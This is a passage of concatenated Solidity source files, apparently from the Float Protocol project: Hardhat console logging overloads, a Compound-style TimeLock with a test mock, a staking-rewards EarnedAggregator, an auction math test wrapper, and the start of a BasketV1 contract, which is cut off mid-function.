_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: BSD-3-Clause // Copyright 2020 Compound Labs, Inc. pragma solidity ^0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "hardhat/console.sol"; contract TimeLock { using SafeMath for uint256; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event ExecuteTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event QueueTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); uint256 public constant GRACE_PERIOD = 14 days; uint256 public constant MINIMUM_DELAY = 2 days; uint256 public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint256 public delay; mapping(bytes32 => bool) public queuedTransactions; constructor(address admin_, uint256 delay_) public { require( delay_ >= MINIMUM_DELAY, "TimeLock::constructor: Delay must exceed minimum delay." ); require( delay_ <= MAXIMUM_DELAY, "TimeLock::constructor: Delay must not exceed maximum delay." ); admin = admin_; delay = delay_; } fallback() external {} function setDelay(uint256 delay_) public { require( msg.sender == address(this), "TimeLock::setDelay: Call must come from TimeLock." ); require( delay_ >= MINIMUM_DELAY, "TimeLock::setDelay: Delay must exceed minimum delay." ); require( delay_ <= MAXIMUM_DELAY, "TimeLock::setDelay: Delay must not exceed maximum delay." ); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require( msg.sender == pendingAdmin, "TimeLock::acceptAdmin: Call must come from pendingAdmin." ); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require( msg.sender == address(this), "TimeLock::setPendingAdmin: Call must come from TimeLock." ); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public returns (bytes32) { require( msg.sender == admin, "TimeLock::queueTransaction: Call must come from admin." ); require( eta >= getBlockTimestamp().add(delay), "TimeLock::queueTransaction: Estimated execution block must satisfy delay." ); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public { require( msg.sender == admin, "TimeLock::cancelTransaction: Call must come from admin." ); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public payable returns (bytes memory) { require( msg.sender == admin, "TimeLock::executeTransaction: Call must come from admin." ); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require( queuedTransactions[txHash], "TimeLock::executeTransaction: Transaction hasn't been queued." ); require( getBlockTimestamp() >= eta, "TimeLock::executeTransaction: Transaction hasn't surpassed time lock." ); require( getBlockTimestamp() <= eta.add(GRACE_PERIOD), "TimeLock::executeTransaction: Transaction is stale." ); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require( success, "TimeLock::executeTransaction: Transaction execution reverted." ); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint256) { // solium-disable-next-line security/no-block-members return block.timestamp; } } // SPDX-License-Identifier: BSD-3-Clause // Copyright 2020 Compound Labs, Inc. pragma solidity ^0.7.6; import "../TimeLock.sol"; contract TimeLockMock is TimeLock { constructor(address admin_, uint256 delay_) TimeLock(admin_, TimeLock.MINIMUM_DELAY) { admin = admin_; delay = delay_; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "synthetix/contracts/interfaces/IStakingRewards.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract EarnedAggregator { /// @notice The address of the Float Protocol Timelock address public timelock; /// @notice addresses of pools (Staking Rewards Contracts) address[] public pools; constructor(address timelock_, address[] memory pools_) { timelock = timelock_; pools = pools_; } function getPools() public view returns (address[] memory) { address[] memory pls = pools; return pls; } function addPool(address pool) public { // Sanity check for function and no error IStakingRewards(pool).earned(timelock); for (uint256 i = 0; i < pools.length; i++) { require(pools[i] != pool, "already added"); } require(msg.sender == address(timelock), "EarnedAggregator: !timelock"); pools.push(pool); } function removePool(uint256 index) public { require(msg.sender == address(timelock), "EarnedAggregator: !timelock"); if (index >= pools.length) return; if (index != pools.length - 1) { pools[index] = pools[pools.length - 1]; } pools.pop(); } function getCurrentEarned(address account) public view returns (uint256) { uint256 votes = 0; for (uint256 i = 0; i < pools.length; i++) { // get tokens earned for staking votes = SafeMath.add(votes, IStakingRewards(pools[i]).earned(account)); } return votes; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../AuctionHouseMath.sol"; contract AuctionHouseMathTest is AuctionHouseMath { function _lerp( uint256 start, uint256 end, uint16 step, uint16 maxStep ) public pure returns (uint256 result) { return lerp(start, end, step, maxStep); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../external-lib/SafeDecimalMath.sol"; import "./interfaces/IBasket.sol"; import "./BasketMath.sol"; /** * @title Float Protocol Basket * @notice The logic contract for storing underlying ETH (as wETH) */ contract BasketV1 is IBasket, Initializable, AccessControlUpgradeable { using SafeMath for uint256; using SafeDecimalMath for uint256; using SafeERC20 for IERC20; /* ========== CONSTANTS ========== */ bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE"); bytes32 public constant AUCTION_HOUSE_ROLE = keccak256("AUCTION_HOUSE_ROLE"); /* ========== STATE VARIABLES ========== */ IERC20 public float; IERC20 private weth; /** * @notice The target ratio for "collateralisation" * @dev [e27] Start at 100% */ uint256 public targetRatio; function initialize( address _admin, address _weth, address _float ) external initializer { weth = 